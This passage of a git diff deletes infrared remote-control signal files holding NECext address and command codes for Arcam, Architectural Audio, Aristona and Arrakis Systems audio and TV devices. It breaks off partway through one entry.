signals file -Version: 1 -# -name: TUNER_+_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 20 00 00 00 -# -name: TUNER_+_B -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 20 00 00 00 -# -name: TUNER_-_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 21 00 00 00 -# -name: TUNER_-_B -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 21 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Tuner/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Tuner/17,-1.ir deleted file mode 100644 index c44e20dce..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Tuner/17,-1.ir +++ /dev/null @@ -1,116 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PRESET_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: PRESET_2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: PRESET_3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: PRESET_4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: PRESET_5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: PRESET_6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: PRESET_7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: PRESET_8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: PRESET_9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 09 00 00 00 -# -name: PRESET/TUNE_+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: PRESET/TUNE_- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 21 00 00 00 -# -name: PRESET/TUNE_MODE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 25 00 00 00 -# -name: PRESET_10 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 6E 00 00 00 -# -name: PRESET_11 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 6F 00 00 00 -# -name: PRESET_12 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 70 00 00 00 -# -name: PRESET_13 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 71 00 00 00 -# -name: PRESET_14 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 72 00 00 00 -# -name: PRESET_15 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 73 00 00 00 -# -name: PRESET_16 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 74 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Unknown_AV200/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Unknown_AV200/16,-1.ir deleted file mode 100644 index 4ba60824d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Unknown_AV200/16,-1.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_SAT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 02 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 04 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 05 00 00 00 -# -name: KEY_VCR -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 06 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 07 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 08 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0C 00 00 00 -# -name: silent -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 20 00 00 00 -# -name: trim -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 25 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2A 00 00 00 -# -name: am -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 34 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 35 00 00 00 -# -name: t-mode -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 36 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 37 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 38 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 39 00 00 00 -# -name: dyn -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 3E 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 50 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 51 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 55 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 56 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 57 00 00 00 -# -name: test -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 58 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Unknown_Arcam/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Unknown_Arcam/16,-1.ir deleted file mode 100644 index 53ffa6133..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Unknown_Arcam/16,-1.ir +++ /dev/null @@ -1,116 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_SAT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 00 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 04 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 05 00 00 00 -# -name: KEY_VCR -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 06 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 07 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 08 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 20 00 00 00 -# -name: trim -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 25 00 00 00 -# -name: am -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 34 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 35 00 00 00 -# -name: tmode -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 36 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 37 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 38 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 39 00 00 00 -# -name: dyn -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 3E 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 57 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Architectural Audio/Amplifier/132,132.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Architectural Audio/Amplifier/132,132.ir deleted file mode 100644 index 8c20da129..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Architectural Audio/Amplifier/132,132.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 84 84 00 00 -command: 05 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 84 84 00 00 -command: 0D 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 84 84 00 00 -command: 1C 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 84 84 00 00 -command: 1E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Architectural Audio/Multi-Zone Receiver/130,130.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Architectural Audio/Multi-Zone Receiver/130,130.ir deleted file mode 100644 index 23dc90ef7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Architectural Audio/Multi-Zone Receiver/130,130.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TUNER_- -type: parsed -protocol: NECext -address: 82 82 00 00 -command: 01 00 00 00 -# -name: TUNER_+ -type: parsed -protocol: NECext -address: 82 82 00 00 -command: 02 00 00 00 -# -name: SOURCE_4 -type: parsed -protocol: NECext -address: 82 82 00 00 -command: 03 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 82 82 00 00 -command: 04 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 82 82 00 00 -command: 05 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 82 82 00 00 -command: 06 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 82 82 00 00 -command: 07 00 00 00 -# -name: SOURCE_3 -type: parsed -protocol: NECext -address: 82 82 00 00 -command: 09 00 00 00 -# -name: SOURCE_2 -type: parsed -protocol: NECext -address: 82 82 00 00 -command: 0A 00 00 00 -# -name: SOURCE_1 -type: parsed -protocol: NECext -address: 82 82 00 00 -command: 0B 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 82 82 00 00 -command: 0C 00 00 00 -# -name: PRESET_1 -type: parsed -protocol: NECext -address: 82 82 00 00 -command: 0D 00 00 00 -# -name: PRESET_4 -type: parsed -protocol: NECext -address: 82 82 00 00 -command: 0E 00 00 00 -# -name: PRESET_7 -type: parsed -protocol: NECext -address: 82 82 00 00 -command: 0F 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 82 82 00 00 -command: 11 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 82 82 00 00 -command: 12 00 00 00 -# -name: MUTE-TOGGLE -type: parsed -protocol: NECext -address: 82 82 00 00 -command: 13 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 82 82 00 00 -command: 14 00 00 00 -# -name: PRESET_2 -type: parsed -protocol: NECext -address: 82 82 00 00 -command: 15 00 00 00 -# -name: PRESET_5 -type: parsed -protocol: NECext -address: 82 82 00 00 -command: 16 00 00 00 -# -name: PRESET_8 -type: parsed -protocol: NECext -address: 82 82 00 00 -command: 17 00 00 00 -# -name: ALL_OFF -type: parsed -protocol: NECext -address: 82 82 00 00 -command: 19 00 00 00 -# -name: ZONE_OFF -type: parsed -protocol: NECext -address: 82 82 00 00 -command: 1A 00 00 00 -# -name: MUTE-OFF -type: parsed -protocol: NECext -address: 82 82 00 00 -command: 1B 00 00 00 -# -name: MUTE-ON -type: parsed -protocol: NECext -address: 82 82 00 00 -command: 1C 00 00 00 -# -name: PRESET_3 -type: parsed -protocol: NECext -address: 82 82 00 00 -command: 1D 00 00 00 -# -name: PRESET_6 -type: parsed -protocol: NECext -address: 82 82 00 00 -command: 1E 00 00 00 -# -name: PRESET_9 -type: parsed -protocol: NECext -address: 82 82 00 00 -command: 1F 00 00 00 -# -name: PRESET_10 -type: parsed -protocol: NECext -address: 82 82 00 00 -command: 60 00 00 00 -# -name: PRESET_11 -type: parsed -protocol: NECext -address: 82 82 00 00 -command: A0 00 00 00 -# -name: PRESET_12 -type: parsed -protocol: NECext -address: 82 82 00 00 -command: E0 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aristona/Unknown_5525/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aristona/Unknown_5525/0,-1.ir deleted file mode 100644 index fc6fbf607..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aristona/Unknown_5525/0,-1.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: TEXT_FWD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: TEXT_BACK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: PP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: BRIGHTNESS_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: BRIGHTNESS_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: COLOR_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: COLOR_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: TEXT_SAVE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: TEXT_SEARCH -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: TEXT_HOLD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: TEXT_LARGE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: TEXT_? -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: TEXT_NONE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: TEXT_HALF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: ext -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aristona/Unknown_9067/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aristona/Unknown_9067/5,-1.ir deleted file mode 100644 index 10a4cc85e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aristona/Unknown_9067/5,-1.ir +++ /dev/null @@ -1,410 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: x/0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: x/1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: x/2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: x/3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: x/4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: x/5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: x/6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: x/7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: x/8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: x/9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: x/power -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: x/mute -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0D 00 00 00 -# -name: pp -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: x/pp -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: x/osd -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: x/volume+ -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: x/volume- -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: x/channel+ -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: x/channel- -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: text_hold -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: x/text_hold -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: text_time -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: x/text_time -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2A 00 00 00 -# -name: text_enlarge -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: x/text_enlarge -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2B 00 00 00 -# -name: text_solve -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: x/text_solve -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2C 00 00 00 -# -name: text_suspend -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: x/text_suspend -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2D 00 00 00 -# -name: text_overlay -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: x/text_overlay -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2E 00 00 00 -# -name: x/green -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 32 00 00 00 -# -name: x/yellow -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 34 00 00 00 -# -name: x/text_info -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: x/blue -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: x/red -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: x/text -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3C 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: x/plus -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 4D 00 00 00 -# -name: min -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4E 00 00 00 -# -name: x/min -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 4E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: x/menu -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 52 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6E 00 00 00 -# -name: text_info -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6F 00 00 00 -# -name: commit -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 7A 00 00 00 -# -name: x/commit -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 7A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arrakis Systems/CD Jukebox/103,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arrakis Systems/CD Jukebox/103,-1.ir deleted file mode 100644 index 9bca8227a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arrakis Systems/CD Jukebox/103,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 4 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 01 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 02 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 03 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 06 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 07 00 00 00 -# -name: CD# -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 08 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 09 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 0A 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 0B 00 00 00 -# -name: DISC- -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 0C 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 0D 00 00 00 -# -name: TR# -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 0E 00 00 00 -# -name: RESUME -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 0F 00 00 00 -# -name: 1CD -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 10 00 00 00 -# -name: DISC+ -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 11 00 00 00 -# -name: TR- -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 12 00 00 00 -# -name: TR+ -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 13 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 14 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 15 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 16 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 17 00 00 00 -# -name: ARTIST -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 18 00 00 00 -# -name: ALLCD -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 19 00 00 00 -# -name: SEQL -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 1A 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 1B 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 1C 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 1D 00 00 00 -# -name: NUMBER -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 1E 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arrakis Systems/CD Jukebox/39,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arrakis Systems/CD Jukebox/39,-1.ir deleted file mode 100644 index da0905aeb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arrakis Systems/CD Jukebox/39,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 4 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 01 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 02 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 03 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 06 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 07 00 00 00 -# -name: CD# -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 08 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 09 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 0A 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 0B 00 00 00 -# -name: DISC- -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 0C 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 0D 00 00 00 -# -name: TR# -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 0E 00 00 00 -# -name: RESUME -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 0F 00 00 00 -# -name: 1CD -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 10 00 00 00 -# -name: DISC+ -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 11 00 00 00 -# -name: TR- -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 12 00 00 00 -# -name: TR+ -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 13 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 14 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 